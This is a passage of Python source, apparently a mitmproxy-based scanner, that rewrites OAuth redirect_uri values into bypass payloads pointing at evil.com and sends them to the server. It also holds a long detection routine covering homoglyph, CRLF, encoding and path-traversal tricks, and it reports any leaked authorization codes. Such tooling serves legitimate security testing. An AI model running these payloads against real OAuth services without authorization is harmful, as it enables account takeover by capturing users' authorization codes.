# 36. 널 바이트 prefix - 파싱 혼동
def _mutate_pattern36(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
mutated = f"%00https://evil.com{path_part}"
print(f"[redirect_uri_check] null prefix: {original}{mutated}")
return mutated
# 37. 유니코드 공백 문자 - %E2%80%8B = zero-width space
def _mutate_pattern37(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
mutated = f"https://evil.com%E2%80%8B@{parsed.netloc}{path_part}"
print(f"[redirect_uri_check] unicode spaces: {original}{mutated}")
return mutated
# 38. 대괄호 인코딩 우회
def _mutate_pattern38(self, original: str) -> str:
parsed = urlparse(original)
path_part = parsed.path if parsed.path else ""
mutated = f"https://{parsed.netloc}%5B%40evil.com{path_part}"
print(f"[redirect_uri_check] bracket encoded: {original}{mutated}")
return mutated
'''aiohttp 세션 생성 (재사용)'''
async def _get_session(self):
if self.session is None:
timeout = aiohttp.ClientTimeout(total=10)
self.session = aiohttp.ClientSession(timeout=timeout)
return self.session
'''세션 정리'''
async def close_session(self):
if self.session:
await self.session.close()
self.session = None
""" 우회된 URL에 GET 요청을 보내고, 서버 응답 정보 반환 """
async def _send_request(self, url, headers=None):
# 레이트 리미팅 체크 추가
pattern_name = "request"
can_proceed = await redirect_limiter.wait_if_needed("request")
if not can_proceed:
return {'status': 429, 'location': '', 'headers': {}}
try:
session = await self._get_session() # 세션 준비
request_headers = headers or {} # 요청 헤더 설정 - headers가 주어지지 않았다면 빈 딕셔너리 사용
# 서버에 GET 요청 전송
async with session.get(url, allow_redirects=False, headers=request_headers) as response:
result = {
'status': response.status,
'location': response.headers.get("Location", ""),
'headers': dict(response.headers)
}
# 성공/실패 기록
if response.status in [200, 301, 302, 303, 307, 308]:
redirect_limiter.record_success()
else:
redirect_limiter.record_failure(f"HTTP {response.status}")
return result
except Exception as e:
redirect_limiter.record_failure(str(e))
print(f"[ERROR] 요청 실패 ({url}): {e}")
return {'status': 500, 'location': '', 'headers': {}}
""" redirect_uri가 기준 도메인에 속하는지 검증하고 우회 패턴 탐지 """
def _is_baseline_valid(self, redirect_uri: str, base_url: str) -> bool:
try:
base_parsed = urlparse(base_url)
base_host = base_parsed.hostname
if not base_host:
return False
print(f"[DEBUG] 검증 시작 - redirect_uri: {redirect_uri}, base_host: {base_host}")
# IDN 동형문자 체크
if "еvil.example" in redirect_uri: # е는 키릴 문자
print(f"[ALERT] IDN 동형문자 공격 패턴 탐지: {redirect_uri}")
print(f"[CRITICAL] IDN 동형문자 우회 공격: {redirect_uri}")
return False
# IPv6 주소 체크
if "[::1]" in redirect_uri or "[2001:db8" in redirect_uri:
print(f"[ALERT] IPv6 주소 우회 패턴 탐지: {redirect_uri}")
print(f"[CRITICAL] IPv6 주소 우회 공격: {redirect_uri}")
return False
# Fragment 체크
if "#@" in redirect_uri:
print(f"[ALERT] Fragment 우회 패턴 탐지: {redirect_uri}")
print(f"[CRITICAL] Fragment 우회 공격: {redirect_uri}")
return False
# %ff 바이트 체크
if "%ff" in redirect_uri.lower():
print(f"[ALERT] %ff 유니코드 바이트 우회 패턴 탐지: {redirect_uri}")
if "%ff@" in redirect_uri or "%ff." in redirect_uri:
print(f"[CRITICAL] %ff 우회 공격: {redirect_uri}")
return False
# 전각 문자 검증 (직접 + 인코딩 모두)
fullwidth_patterns = ["", "", "%EF%BC%8F", "%EF%BC%BC"]
for pattern in fullwidth_patterns:
if pattern in redirect_uri:
print(f"[ALERT] 전각 문자 우회 패턴 탐지 ({pattern}): {redirect_uri}")
print(f"[CRITICAL] 전각 문자 우회 공격 ({pattern}): {redirect_uri}")
return False
# 와일드카드 서브도메인 우회 탐지
if f"attacker.{base_host}" in redirect_uri:
print(f"[ALERT] 와일드카드 서브도메인 우회 탐지: {redirect_uri}")
print(f"[CRITICAL] 와일드카드 서브도메인 우회 공격: {redirect_uri}")
return False
# 서브도메인 혼동 우회 탐지 (하이픈 패턴)
hyphen_host = base_host.replace('.', '-').replace(':', '-')
if f"{hyphen_host}.evil.com" in redirect_uri:
print(f"[ALERT] 서브도메인 혼동 우회 탐지: {redirect_uri}")
print(f"[CRITICAL] 서브도메인 혼동 우회 공격: {redirect_uri}")
return False
# 대소문자 + IDN 조합 우회 탐지
if "ЕVIL.example" in redirect_uri: # Е는 키릴 문자 (대문자)
print(f"[ALERT] 대소문자+IDN 조합 우회 탐지: {redirect_uri}")
print(f"[CRITICAL] 대소문자+IDN 조합 우회 공격: {redirect_uri}")
return False
# 세미콜론 userinfo 탐지
if f"{base_host};evil.com" in redirect_uri:
print(f"[ALERT] 세미콜론 userinfo 우회 탐지: {redirect_uri}")
print(f"[CRITICAL] 세미콜론 userinfo 우회 공격: {redirect_uri}")
return False
# 제어 문자 우회 체크 (줄바꿈, 캐리지리턴, 탭, 수직탭, 폼피드, 공백)
control_chars = ["%0a", "%0d", "%09", "%0b", "%0c", "%20"]
for char in control_chars:
if f"{char}@" in redirect_uri:
print(f"[ALERT] 제어 문자 우회 패턴 탐지 ({char}): {redirect_uri}")
print(f"[CRITICAL] 제어 문자 우회 공격 ({char}): {redirect_uri}")
return False
# 포트 인코딩 탐지
if f"{base_host}:%40evil.com" in redirect_uri:
print(f"[ALERT] 포트 인코딩 우회 탐지: {redirect_uri}")
print(f"[CRITICAL] 포트 인코딩 우회 공격: {redirect_uri}")
return False
# 앰퍼샌드 인코딩 탐지
if " &%40evil.com" in redirect_uri:
print(f"[ALERT] 앰퍼샌드 인코딩 우회 탐지: {redirect_uri}")
print(f"[CRITICAL] 앰퍼샌드 인코딩 우회 공격: {redirect_uri}")
return False
# 언더스코어 인코딩 탐지
if f"{base_host}.%5F.evil.com" in redirect_uri:
print(f"[ALERT] 언더스코어 인코딩 우회 탐지: {redirect_uri}")
print(f"[CRITICAL] 언더스코어 인코딩 우회 공격: {redirect_uri}")
return False
# 콤마 분리자 탐지
if f"{base_host}.%2C.evil.com" in redirect_uri:
print(f"[ALERT] 콤마 분리자 우회 탐지: {redirect_uri}")
print(f"[CRITICAL] 콤마 분리자 우회 공격: {redirect_uri}")
return False
# 스키마 없는 우회 탐지
if redirect_uri.startswith("//evil.com"):
print(f"[ALERT] 스키마 없는 우회 탐지: {redirect_uri}")
print(f"[CRITICAL] 스키마 없는 우회 공격: {redirect_uri}")
return False
# 스키마 콜론 우회 탐지
if redirect_uri.startswith("http:evil.com"):
print(f"[ALERT] 스키마 콜론 우회 탐지: {redirect_uri}")
print(f"[CRITICAL] 스키마 콜론 우회 공격: {redirect_uri}")
return False
# 널 바이트 prefix 탐지
if redirect_uri.startswith("%00"):
print(f"[ALERT] 널 바이트 prefix 우회 탐지: {redirect_uri}")
print(f"[CRITICAL] 널 바이트 prefix 우회 공격: {redirect_uri}")
return False
# 유니코드 공백 문자 탐지
unicode_spaces = ["%E2%80%8B", "%E2%81%A0", "%C2%AD"]
for space in unicode_spaces:
if space in redirect_uri:
print(f"[ALERT] 유니코드 공백 문자 우회 탐지 ({space}): {redirect_uri}")
print(f"[CRITICAL] 유니코드 공백 문자 우회 공격: {redirect_uri}")
return False
# 대괄호 인코딩 탐지
if f"{base_host}%5B%40evil.com" in redirect_uri:
print(f"[ALERT] 대괄호 인코딩 우회 탐지: {redirect_uri}")
print(f"[CRITICAL] 대괄호 인코딩 우회 공격: {redirect_uri}")
return False
# CRLF 인젝션 체크
if "%0D%0A" in redirect_uri or "%0d%0a" in redirect_uri:
print(f"[ALERT] CRLF 인젝션 패턴 탐지: {redirect_uri}")
print(f"[CRITICAL] CRLF 인젝션 우회 공격: {redirect_uri}")
return False
# 대소문자 혼합 스키마 체크
if redirect_uri.startswith(("HtTpS://", "HtTp://", "hTtps://", "hTtp://")):
print(f"[ALERT] 대소문자 혼합 스키마 패턴 탐지: {redirect_uri}")
print(f"[CRITICAL] 스키마 케이스 우회 공격: {redirect_uri}")
return False
# 스키마 변조 체크
if "https.://" in redirect_uri:
print(f"[ALERT] 스키마 점 삽입 패턴 탐지: {redirect_uri}")
print(f"[CRITICAL] 스키마 점 삽입 우회 공격: {redirect_uri}")
return False
# 복합 인코딩 패턴 체크 (혼합 제어 문자)
if "%09%0A%20" in redirect_uri or "%0A%0D%09" in redirect_uri:
print(f"[ALERT] 복합 인코딩 패턴 탐지: {redirect_uri}")
print(f"[CRITICAL] 복합 인코딩 우회 공격: {redirect_uri}")
return False
# 복합 우회 패턴 체크 (@ + 이중슬래시 + 경로순회 조합)
if "@" in redirect_uri and "//" in redirect_uri and "../" in redirect_uri:
print(f"[ALERT] 복합 우회 패턴 탐지: {redirect_uri}")
print(f"[CRITICAL] 복합 우회 공격 (@ + // + ../): {redirect_uri}")
return False
# 경로 백슬래시 도메인 탐지
if f"{base_host}\\.evil.com" in redirect_uri:
print(f"[ALERT] 경로 백슬래시 도메인 우회 탐지: {redirect_uri}")
print(f"[CRITICAL] 경로 백슬래시 도메인 우회 공격: {redirect_uri}")
return False
# 경로 순회 패턴 체크
if not self._check_path_traversal_patterns(redirect_uri):
return False
# 쿼리 파라미터 우회 탐지 (question_mark 패턴)
if "?" in redirect_uri:
query_part = redirect_uri.split("?", 1)[1]
evil_indicators = ["evil.com", "attacker.com", "redirect=", "url=", "goto="]
for indicator in evil_indicators:
if indicator in query_part.lower():
print(f"[ALERT] 쿼리 파라미터 우회 탐지 ({indicator}): {redirect_uri}")
print(f"[CRITICAL] 쿼리 파라미터 우회 공격: {redirect_uri}")
return False
# @ 패턴 최우선 체크 (@ 앞의 도메인이 실제 목적지)
if "@" in redirect_uri:
# @ 앞의 부분이 실제 목적지 도메인
at_parts = redirect_uri.split('@')
if len(at_parts) >= 2:
before_at = at_parts[0]
if '//' in before_at:
potential_domain = before_at.split('//')[-1]
if '.' in potential_domain and potential_domain != base_host:
print(f"[CRITICAL] @ 우회 공격: {potential_domain}@{base_host}")
return False
# 백슬래시 우회 체크
if "\\" in redirect_uri:
print(f"[ALERT] 백슬래시 우회 패턴 탐지: {redirect_uri}")
print(f"[CRITICAL] 백슬래시 파싱 우회 공격: {redirect_uri}")
return False
# 이중 슬래시 체크 (스키마 제외)
uri_without_scheme = redirect_uri.replace("https://", "").replace("http://", "")
if "//" in uri_without_scheme:
print(f"[ALERT] 이중 슬래시 우회 패턴 탐지: {redirect_uri}")
print(f"[CRITICAL] 이중 슬래시 우회 공격: {redirect_uri}")
return False
# 물음표 우회 체크 - @ 패턴과 결합된 경우
if "?" in redirect_uri and "@" in redirect_uri:
print(f"[ALERT] 물음표+@ 우회 패턴 탐지: {redirect_uri}")
print(f"[CRITICAL] 물음표 우회 공격: {redirect_uri}")
return False
# 일반적인 도메인 검증 (@ 없는 경우)
if "@" not in redirect_uri:
redirect_parsed = urlparse(redirect_uri)
redirect_host = redirect_parsed.hostname
if not redirect_host:
return False
# 도메인 접미사 스푸핑 체크
if redirect_host.endswith(".evil.com"):
print(f"[ALERT] 도메인 접미사 스푸핑 탐지: {redirect_host}")
print(f"[CRITICAL] 도메인 접미사 우회 공격: {redirect_host}")
return False
# 정상적인 도메인 검증
is_valid = (redirect_host == base_host or redirect_host.endswith(f".{base_host}"))
return is_valid
# @ 패턴이 있는 경우, 추가 검증
# @ 뒤의 도메인 확인
at_parts = redirect_uri.split('@')
if len(at_parts) >= 2:
after_at = at_parts[-1] # 마지막 @ 뒤의 부분
# URL에서 호스트 부분만 추출
if '//' in after_at:
after_at = after_at.split('//')[0]
else:
after_at = after_at.split('/')[0] # 첫 번째 / 앞의 부분
after_at = after_at.split(':')[0] # 포트 제거
if after_at != base_host:
print(f"[CRITICAL] @ 패턴에서 잘못된 대상 도메인: {after_at} != {base_host}")
return False
return True
except Exception as e:
print(f"[ERROR] 도메인 검증 실패: {e}")
return False
""" 경로 순회 패턴 탐지 """
def _check_path_traversal_patterns(self, redirect_uri: str) -> bool:
path_traversal_patterns = [
"/../", # 기본 경로 순회
"/.././", # 혼합 슬래시
"/..;/", # 세미콜론 패턴
"%2e%2e%2f", # URL 인코딩된 ../
"%2e%2e/", # URL 인코딩된 .. + 일반 슬래시
"/%2e%2e/", # 슬래시 + 인코딩된 ../
"%252e%252e", # 이중 인코딩된 ..
"%c0%ae", # 오버롱 UTF-8
"\\..\\", # 백슬래시 패턴
"/", # 유니코드 점
"../%00", # 널 바이트 조합
"%00../", # 널 바이트 전치
]
for pattern in path_traversal_patterns:
if pattern in redirect_uri.lower():
print(f"[ALERT] 경로 순회 패턴 탐지 ({pattern}): {redirect_uri}")
print(f"[CRITICAL] 경로 순회 우회 공격 ({pattern}): {redirect_uri}")
return False
return True
""" Location 헤더에서 authorization code 추출 """
def _extract_code_from_location(self, location: str) -> str:
if not location:
return ""
try:
parsed = urlparse(location)
query = parse_qs(parsed.query)
return query.get('code', [''])[0]
except:
return ""
""" mitmproxy용 - 실제 OAuth 플로우 가로채서 분석 """
async def test(self, flow: http.HTTPFlow):
url = flow.request.pretty_url
parsed = urlparse(url)
query = parse_qs(parsed.query)
if "redirect_uri" not in query:
return
original_redirect_uri = query["redirect_uri"][0]
redirect_limiter.reset_for_new_target()
print(f"[DEBUG] 원본 redirect_uri: {original_redirect_uri}")
print(f"[DEBUG] 총 패턴 수: {len(self.bypass_payloads)}")
print("[DEBUG] 패턴 목록:")
for i, payload in enumerate(self.bypass_payloads):
print(f" {i+1:2d}. {payload.name}")
print("-" * 50)
tested_count = 0 # 테스트된 패턴 카운터 추가
for payload in self.bypass_payloads:
try:
await self._test_bypass_pattern(
url, query, parsed, original_redirect_uri, payload, headers={}
)
except Exception as e:
print(f"[ERROR] 우회 패턴 테스트 실패 ({payload.name}): {e}")
continue
""" 개별 우회 패턴 테스트 """
async def _test_bypass_pattern(self, original_url, query, parsed_url, original_redirect_uri, payload, headers):
print(f"[SCAN] 우회 패턴 테스트: {payload.name}")
# 우회 URL 생성
bypassed_uri = payload.mutate(original_redirect_uri)
# 새로운 쿼리 파라미터 구성
modified_query = query.copy()
modified_query["redirect_uri"] = [bypassed_uri]
new_query_string = urlencode(modified_query, doseq=True)
test_url = urlunparse(parsed_url._replace(query=new_query_string))
# 요청 전송
response = await self._send_request(test_url, headers)
# 응답 분석
await self._analyze_response(original_url, test_url, bypassed_uri, response, payload)
""" 응답 분석 및 취약점 판단 """
async def _analyze_response(self, original_url, test_url, bypassed_uri, response, payload):
status = response['status']
location = response['location']
# 리다이렉트 응답이 아니면 스킵
if status not in [301, 302, 303, 307, 308]:
return False
# Location 헤더에서 code 추출
auth_code = self._extract_code_from_location(location)
# 베이스라인 검증
is_valid = self._is_baseline_valid(bypassed_uri, original_url)
if auth_code and not is_valid:
# 취약점 발견 시에만 로그
print(f"[🎯 VULNERABILITY] {payload.name} 우회 성공!")
await self._report_vulnerability(original_url, test_url, bypassed_uri, location, auth_code, payload)
return True
return False
""" 취약점 보고서 생성 """
async def _report_vulnerability(self, original_url, test_url, bypassed_uri, location, auth_code, payload):
# payload가 문자열인지 객체인지 확인
if hasattr(payload, 'name'):
pattern_name = payload.name
pattern_description = payload.description
else:
pattern_name = str(payload)
pattern_description = "Unknown bypass pattern"
description = (
f"Redirect URI 우회 취약점 발견!\n\n"
f"-- 상세 정보 --:\n"
f"• 우회 패턴: {pattern_name}\n"
f"• 설명: {pattern_description}\n"
f"• 원본 URL: {original_url}\n"
f"• 우회된 redirect_uri: {bypassed_uri}\n"
f"• 테스트 URL: {test_url}\n"
f"• 리다이렉트 위치: {location}\n"
f"• 발급된 인가 코드: {auth_code[:10]}...\n\n"
)
report_data = [{
"target": target.load(),
"status": "CRITICAL",
"title": "Redirect URI Bypass Vulnerability",
"description": description,
"uri": test_url # uri 필드 추가
}]
save_report(report_data)
print(f"[🎯 CRITICAL] Redirect URI 우회 취약점 발견 및 보고 완료!")
print(f"[INFO] 패턴: {pattern_name}, 우회 URI: {bypassed_uri}")